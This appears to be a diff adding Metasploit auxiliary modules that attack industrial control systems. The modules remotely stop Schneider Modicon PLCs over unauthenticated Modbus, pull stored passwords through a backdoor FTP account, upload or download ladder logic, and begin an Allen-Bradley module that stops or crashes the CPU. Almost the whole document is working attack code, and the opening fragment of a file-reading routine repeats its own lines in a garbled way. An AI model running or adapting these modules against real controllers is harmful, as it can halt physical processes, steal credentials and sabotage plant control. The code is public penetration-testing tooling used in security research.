fd = client.fs.file.new(args[0], "rb")
|
||||
|
||||
until fd.eof?
|
||||
print(fd.read)
|
||||
until fd.eof?
|
||||
print(fd.read)
|
||||
end
|
||||
|
||||
fd.close
|
||||
end
|
||||
|
||||
fd.close
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,181 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Rex::Socket::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Schneider Modicon remote START/STOP command',
|
||||
'Description' => %q{
|
||||
The Schneider Modicon with Unity series of PLCs use Modbus function
|
||||
code 90 (0x5a) to perform administrative commands without authentication.
|
||||
This module allows a remote user to change the state of the PLC between
|
||||
STOP and RUN, allowing an attacker to end process control by the PLC.
|
||||
|
||||
This module is based on the original 'modiconstop.rb' Basecamp module from
|
||||
DigitalBond.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
|
||||
'todb' # Metasploit fixups
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'DisclosureDate' => 'Apr 5 2012'
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptEnum.new("MODE", [true, 'PLC command', "STOP",
|
||||
[
|
||||
"STOP",
|
||||
"RUN"
|
||||
]
|
||||
]),
|
||||
Opt::RPORT(502)
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
# this is used for building a Modbus frame
|
||||
# just prepends the payload with a modbus header
|
||||
def makeframe(packetdata)
|
||||
if packetdata.size > 255
|
||||
print_error("packet too large, sorry")
|
||||
print_error("Offending packet: " + packetdata)
|
||||
return
|
||||
end
|
||||
payload = ""
|
||||
payload += [@modbuscounter].pack("n")
|
||||
payload += "\x00\x00\x00" #dunno what these are
|
||||
payload += [packetdata.size].pack("c") # size byte
|
||||
payload += packetdata
|
||||
end
|
||||
|
||||
# a wrapper just to be sure we increment the counter
|
||||
def sendframe(payload)
|
||||
sock.put(payload)
|
||||
@modbuscounter += 1
|
||||
r = sock.recv(65535, 0.1) # XXX: All I care is that we wait for a packet to come in, but I'd like to minimize the wait time and also minimize OS buffer use. What to do?
|
||||
return r
|
||||
end
|
||||
|
||||
# This function sends some initialization requests
|
||||
# I have no idea what these do, but they seem to be
|
||||
# needed to get the Modicon chatty with us.
|
||||
# I would make some analogy to 'gaming' in the
|
||||
# bar-dating scene, but I'll refrain.
|
||||
def init
|
||||
payload = "\x00\x5a\x00\x02"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x01\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x03\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x03\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x01\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x0a\x00"
|
||||
(0..0xf9).each { |x| payload += [x].pack("c") }
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
|
||||
payload += "USER-714E74F21B" # Yep, really
|
||||
#payload += "META-SPLOITMETA"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x12"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x12"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x02"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
|
||||
sendframe(makeframe(payload))
|
||||
end
|
||||
|
||||
def stop
|
||||
payload = "\x00\x5a\x01\x41\xff\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
end
|
||||
|
||||
def start
|
||||
payload = "\x00\x5a\x01\x40\xff\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
end
|
||||
|
||||
def cleanup
|
||||
end
|
||||
|
||||
def run
|
||||
@modbuscounter = 0x0000 # used for modbus frames
|
||||
connect
|
||||
init
|
||||
case datastore['MODE']
|
||||
when "STOP"
|
||||
stop
|
||||
when "RUN"
|
||||
start
|
||||
else
|
||||
print_error("Invalid MODE")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,222 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Ftp
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Schneider Modicon Quantum Password Recovery',
|
||||
'Description' => %q{
|
||||
The Schneider Modicon Quantum series of Ethernet cards store usernames and
|
||||
passwords for the system in files that may be retrieved via backdoor access.
|
||||
|
||||
This module is based on the original 'modiconpass.rb' Basecamp module from
|
||||
DigitalBond.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
|
||||
'todb' # Metasploit fixups
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'DisclosureDate'=> 'Jan 19 2012'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(21),
|
||||
OptString.new('FTPUSER', [true, "The backdoor account to use for login", 'ftpuser']),
|
||||
OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password']),
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('RUN_CHECK', [false, "Check if the device is really a Modicon device", true])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
# Thinking this should be a standard alias for all aux
|
||||
def ip
|
||||
Rex::Socket.resolv_to_dotted(datastore['RHOST'])
|
||||
end
|
||||
|
||||
def check_banner
|
||||
banner == "220 FTP server ready.\r\n"
|
||||
end
|
||||
|
||||
# TODO: If the username and password is correct, but this /isn't/ a Modicon
|
||||
# device, then we're going to end up storing HTTP credentials that are not
|
||||
# correct. If there's a way to fingerprint the device, it should be done here.
|
||||
def check
|
||||
return true unless datastore['RUN_CHECK']
|
||||
is_modicon = false
|
||||
vprint_status "#{ip}:#{rport} - FTP - Checking fingerprint"
|
||||
connect rescue nil
|
||||
if sock
|
||||
# It's a weak fingerprint, but it's something
|
||||
is_modicon = check_banner()
|
||||
disconnect
|
||||
else
|
||||
print_error "#{ip}:#{rport} - FTP - Cannot connect, skipping"
|
||||
return false
|
||||
end
|
||||
if is_modicon
|
||||
print_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"
|
||||
else
|
||||
print_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch"
|
||||
end
|
||||
return is_modicon
|
||||
end
|
||||
|
||||
def run
|
||||
if check()
|
||||
if setup_ftp_connection()
|
||||
grab()
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def setup_ftp_connection
|
||||
vprint_status "#{ip}:#{rport} - FTP - Connecting"
|
||||
if connect_login()
|
||||
print_status("#{ip}:#{rport} - FTP - Login succeeded")
|
||||
report_auth_info(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:ptype => 'password_ro',
|
||||
:active => true
|
||||
)
|
||||
return true
|
||||
else
|
||||
print_status("#{ip}:#{rport} - FTP - Login failed")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
disconnect rescue nil
|
||||
data_disconnect rescue nil
|
||||
end
|
||||
|
||||
# Echo the Net::FTP implementation
|
||||
def ftp_gettextfile(fname)
|
||||
vprint_status("#{ip}:#{rport} - FTP - Opening PASV data socket to download #{fname.inspect}")
|
||||
data_connect("A")
|
||||
res = send_cmd_data(["GET", fname.to_s], nil, "A")
|
||||
end
|
||||
|
||||
def grab
|
||||
logins = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Schneider Modicon Quantum services, usernames, and passwords",
|
||||
'Indent' => 1,
|
||||
'Columns' => ["Service", "User Name", "Password"]
|
||||
)
|
||||
httpcreds = ftp_gettextfile('/FLASH0/userlist.dat')
|
||||
if httpcreds
|
||||
print_status "#{ip}:#{rport} - FTP - HTTP password retrieval: success"
|
||||
else
|
||||
print_status "#{ip}:#{rport} - FTP - HTTP default password presumed"
|
||||
end
|
||||
ftpcreds = ftp_gettextfile('/FLASH0/ftp/ftp.ini')
|
||||
if ftpcreds
|
||||
print_status "#{ip}:#{rport} - FTP - password retrieval: success"
|
||||
else
|
||||
print_error "#{ip}:#{rport} - FTP - password retrieval error"
|
||||
end
|
||||
writecreds = ftp_gettextfile('/FLASH0/rdt/password.rde')
|
||||
if writecreds
|
||||
print_status "#{ip}:#{rport} - FTP - Write password retrieval: success"
|
||||
else
|
||||
print_error "#{ip}:#{rport} - FTP - Write password error"
|
||||
end
|
||||
if httpcreds
|
||||
httpuser = httpcreds[1].split(/[\r\n]+/)[0]
|
||||
httppass = httpcreds[1].split(/[\r\n]+/)[1]
|
||||
else
|
||||
# Usual defaults
|
||||
httpuser = "USER"
|
||||
httppass = "USER"
|
||||
end
|
||||
print_status("#{rhost}:#{rport} - FTP - Storing HTTP credentials")
|
||||
logins << ["http", httpuser, httppass]
|
||||
report_auth_info(
|
||||
:host => ip,
|
||||
:port => 80,
|
||||
:sname => "http",
|
||||
:user => httpuser,
|
||||
:pass => httppass,
|
||||
:active => true
|
||||
)
|
||||
logins << ["scada-write", "", writecreds[1]]
|
||||
if writecreds # This is like an enable password, used after HTTP authentication.
|
||||
report_note(
|
||||
:host => ip,
|
||||
:port => 80,
|
||||
:proto => 'tcp',
|
||||
:sname => 'http',
|
||||
:ntype => 'scada.modicon.write-password',
|
||||
:data => writecreds[1]
|
||||
)
|
||||
end
|
||||
|
||||
if ftpcreds
|
||||
# TODO:
|
||||
# Can we add a nicer dictionary? Revershing the hash
|
||||
# using Metasploit's existing loginDefaultencrypt dictionary yields
|
||||
# plaintexts that contain non-ascii characters for some hashes.
|
||||
# check out entries starting at 10001 in /msf3/data/wordlists/vxworks_collide_20.txt
|
||||
# for examples. A complete ascii rainbow table for loginDefaultEncrypt is ~2.6mb,
|
||||
# and it can be done in just a few lines of ruby.
|
||||
# See https://github.com/cvonkleist/vxworks_hash
|
||||
modicon_ftpuser = ftpcreds[1].split(/[\r\n]+/)[0]
|
||||
modicon_ftppass = ftpcreds[1].split(/[\r\n]+/)[1]
|
||||
else
|
||||
modicon_ftpuser = "USER"
|
||||
modicon_ftppass = "USERUSER" #from the manual. Verified.
|
||||
end
|
||||
print_status("#{rhost}:#{rport} - FTP - Storing hashed FTP credentials")
|
||||
# The collected hash is not directly reusable, so it shouldn't be an
|
||||
# auth credential in the Cred sense. TheLightCosine should fix some day.
|
||||
# Can be used for telnet as well if telnet is enabled.
|
||||
report_note(
|
||||
:host => ip,
|
||||
:port => 21,
|
||||
:proto => 'tcp',
|
||||
:sname => 'ftp',
|
||||
:ntype => 'scada.modicon.ftp-password',
|
||||
:data => "User:#{modicon_ftpuser} VXWorks_Password:#{modicon_ftppass}"
|
||||
)
|
||||
logins << ["VxWorks", modicon_ftpuser, modicon_ftppass]
|
||||
|
||||
# Not this:
|
||||
# report_auth_info(
|
||||
# :host => ip,
|
||||
# :port => rport,
|
||||
# :proto => 'tcp',
|
||||
# :sname => 'ftp',
|
||||
# :user => modicon_ftpuser,
|
||||
# :pass => modicon_ftppass,
|
||||
# :type => 'password_vx', # It's a hash, not directly usable, but crackable
|
||||
# :active => true
|
||||
# )
|
||||
print_line logins.to_s
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,307 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Rex::Socket::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Schneider Modicon Ladder Logic Upload/Download',
|
||||
'Description' => %q{
|
||||
The Schneider Modicon with Unity series of PLCs use Modbus function
|
||||
code 90 (0x5a) to send and receive ladder logic. The protocol is
|
||||
unauthenticated, and allows a rogue host to retrieve the existing
|
||||
logic and to upload new logic.
|
||||
|
||||
Two modes are supported: "SEND" and "RECV," which behave as one might
|
||||
expect -- use 'set mode ACTIONAME' to use either mode of operation.
|
||||
|
||||
In either mode, FILENAME must be set to a valid path to an existing
|
||||
file (for SENDing) or a new file (for RECVing), and the directory must
|
||||
already exist. The default, 'modicon_ladder.apx' is a blank
|
||||
ladder logic file which can be used for testing.
|
||||
|
||||
This module is based on the original 'modiconstux.rb' Basecamp module from
|
||||
DigitalBond.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
|
||||
'todb' # Metasploit fixups
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'DisclosureDate' => 'Apr 5 2012'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME',
|
||||
[
|
||||
true,
|
||||
"The file to send or receive",
|
||||
File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx")
|
||||
]),
|
||||
OptEnum.new("MODE", [true, 'File transfer operation', "SEND",
|
||||
[
|
||||
"SEND",
|
||||
"RECV"
|
||||
]
|
||||
]),
|
||||
Opt::RPORT(502)
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
unless valid_filename?
|
||||
print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"
|
||||
return nil
|
||||
end
|
||||
@modbuscounter = 0x0000 # used for modbus frames
|
||||
connect
|
||||
init
|
||||
case datastore['MODE']
|
||||
when "SEND"
|
||||
writefile
|
||||
when "RECV"
|
||||
readfile
|
||||
end
|
||||
end
|
||||
|
||||
def valid_filename?
|
||||
if datastore['MODE'] == "SEND"
|
||||
File.readable? datastore['FILENAME']
|
||||
else
|
||||
File.writable?(File.split(datastore['FILENAME'])[0].to_s)
|
||||
end
|
||||
end
|
||||
|
||||
# this is used for building a Modbus frame
|
||||
# just prepends the payload with a modbus header
|
||||
def makeframe(packetdata)
|
||||
if packetdata.size > 255
|
||||
print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")
|
||||
return
|
||||
end
|
||||
payload = ""
|
||||
payload += [@modbuscounter].pack("n")
|
||||
payload += "\x00\x00\x00" #dunno what these are
|
||||
payload += [packetdata.size].pack("c") # size byte
|
||||
payload += packetdata
|
||||
end
|
||||
|
||||
# a wrapper just to be sure we increment the counter
|
||||
def sendframe(payload)
|
||||
sock.put(payload)
|
||||
@modbuscounter += 1
|
||||
# TODO: Fix with sock.timed_read -- Should make it faster, just need a test.
|
||||
r = sock.recv(65535, 0.1)
|
||||
return r
|
||||
end
|
||||
|
||||
# This function sends some initialization requests
|
||||
# required for priming the Quantum
|
||||
def init
|
||||
payload = "\x00\x5a\x00\x02"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x01\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x03\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x03\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x01\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x0a\x00"
|
||||
(0..0xf9).each { |x| payload += [x].pack("c") }
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
|
||||
payload += "USER-714E74F21B" # Yep, really
|
||||
#payload += "META-SPLOITMETA"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x12"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x12"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x02"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
|
||||
sendframe(makeframe(payload))
|
||||
end
|
||||
|
||||
# Write the contents of local file filename to the target's filenumber
|
||||
# blank logic files will be available on the Digital Bond website
|
||||
def writefile
|
||||
print_status "#{rhost}:#{rport} - MODBUS - Sending write request"
|
||||
blocksize = 244 # bytes per block in file transfer
|
||||
buf = File.open(datastore['FILENAME'], 'rb') { |io| io.read }
|
||||
fullblocks = buf.length / blocksize
|
||||
if fullblocks > 255
|
||||
print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")
|
||||
return
|
||||
end
|
||||
lastblocksize = buf.length - (blocksize*fullblocks)
|
||||
fileblocks = fullblocks
|
||||
if lastblocksize != 0
|
||||
fileblocks += 1
|
||||
end
|
||||
filetype = buf[0..2]
|
||||
if filetype == "APX"
|
||||
filenum = "\x01"
|
||||
elsif filetype == "APB"
|
||||
filenum = "\x10"
|
||||
end
|
||||
payload = "\x00\x5a\x00\x03\x01"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x02"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x02"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xfb\x00"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x00\x02"
|
||||
sendframe(makeframe(payload))
|
||||
payload = "\x00\x5a\x01\x30\x00"
|
||||
payload += filenum
|
||||
response = sendframe(makeframe(payload))
|
||||
if response[8..9] == "\x01\xfe"
|
||||
print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...")
|
||||
else
|
||||
print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.")
|
||||
return
|
||||
end
|
||||
payload = "\x00\x5a\x01\x04"
|
||||
sendframe(makeframe(payload))
|
||||
block = 1
|
||||
block2status = 0 # block 2 must always be sent twice
|
||||
while block <= fullblocks
|
||||
payload = "\x00\x5a\x01\x31\x00"
|
||||
payload += filenum
|
||||
payload += [block].pack("c")
|
||||
payload += "\x00\xf4\x00"
|
||||
payload += buf[((block - 1) * 244)..((block * 244) - 1)]
|
||||
res = sendframe(makeframe(payload))
|
||||
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
|
||||
if res[8..9] != "\x01\xfe"
|
||||
print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}")
|
||||
return
|
||||
end
|
||||
# redo this iteration of the loop if we're on block 2
|
||||
if block2status == 0 and block == 2
|
||||
print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")
|
||||
block2status = 1
|
||||
redo
|
||||
end
|
||||
block += 1
|
||||
end
|
||||
if lastblocksize > 0
|
||||
payload = "\x00\x5a\x01\x31\x00"
|
||||
payload += filenum
|
||||
payload += [block].pack("c")
|
||||
payload += "\x00" + [lastblocksize].pack("c") + "\x00"
|
||||
payload += buf[((block-1) * 244)..(((block-1) * 244) + lastblocksize)]
|
||||
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
|
||||
res = sendframe(makeframe(payload))
|
||||
if res[8..9] != "\x01\xfe"
|
||||
print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")
|
||||
return
|
||||
end
|
||||
end
|
||||
vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"
|
||||
payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x00"
|
||||
sendframe(makeframe(payload))
|
||||
end
|
||||
|
||||
# Only reading the STL file is supported at the moment :(
|
||||
def readfile
|
||||
print_status "#{rhost}:#{rport} - MODBUS - Sending read request"
|
||||
file = File.open(datastore['FILENAME'], 'wb')
|
||||
payload = "\x00\x5a\x01\x33\x00\x01\xfb\x00"
|
||||
response = sendframe(makeframe(payload))
|
||||
print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")
|
||||
block = 1
|
||||
filedata = ""
|
||||
finished = false
|
||||
while !finished
|
||||
payload = "\x00\x5a\x01\x34\x00\x01"
|
||||
payload += [block].pack("c")
|
||||
payload += "\x00"
|
||||
response = sendframe(makeframe(payload))
|
||||
filedata += response[0xe..-1]
|
||||
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{response[0xe..-1].inspect}"
|
||||
if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof?
|
||||
finished = true
|
||||
else
|
||||
block += 1
|
||||
end
|
||||
end
|
||||
print_status("#{rhost}:#{rport} - MODBUS - Closing file")
|
||||
payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack("c") + "\x00"
|
||||
sendframe(makeframe(payload))
|
||||
file.print filedata
|
||||
file.close
|
||||
end
|
||||
|
||||
def cleanup
|
||||
disconnect rescue nil
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,145 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Rex::Socket::Tcp
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Allen-Bradley/Rockwell Automation EtherNet/IP CIP Commands',
|
||||
'Description' => %q{
|
||||
The EtnerNet/IP CIP protocol allows a number of unauthenticated commands to a PLC which
|
||||
implements the protocol. This module implements the CPU STOP command, as well as
|
||||
the ability to crash the Ethernet card in an affected device.
|
||||
|
||||
This module is based on the original 'ethernetip-multi.rb' Basecamp module
|
||||
from DigitalBond.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Ruben Santamarta <ruben[at]reversemode.com>',
|
||||
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
|
||||
'todb' # Metasploit fixups
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'DisclosureDate' => 'Jan 19 2012'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(44818),
|
||||
# Note that OptEnum is case sensitive
|
||||
OptEnum.new("ATTACK", [true, "The attack to use.", "STOPCPU",
|
||||
[
|
||||
"STOPCPU",
|
||||
"CRASHCPU",
|
||||
"CRASHETHER",
|
||||
"RESETETHER"
|
||||
]
|
||||
])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def run
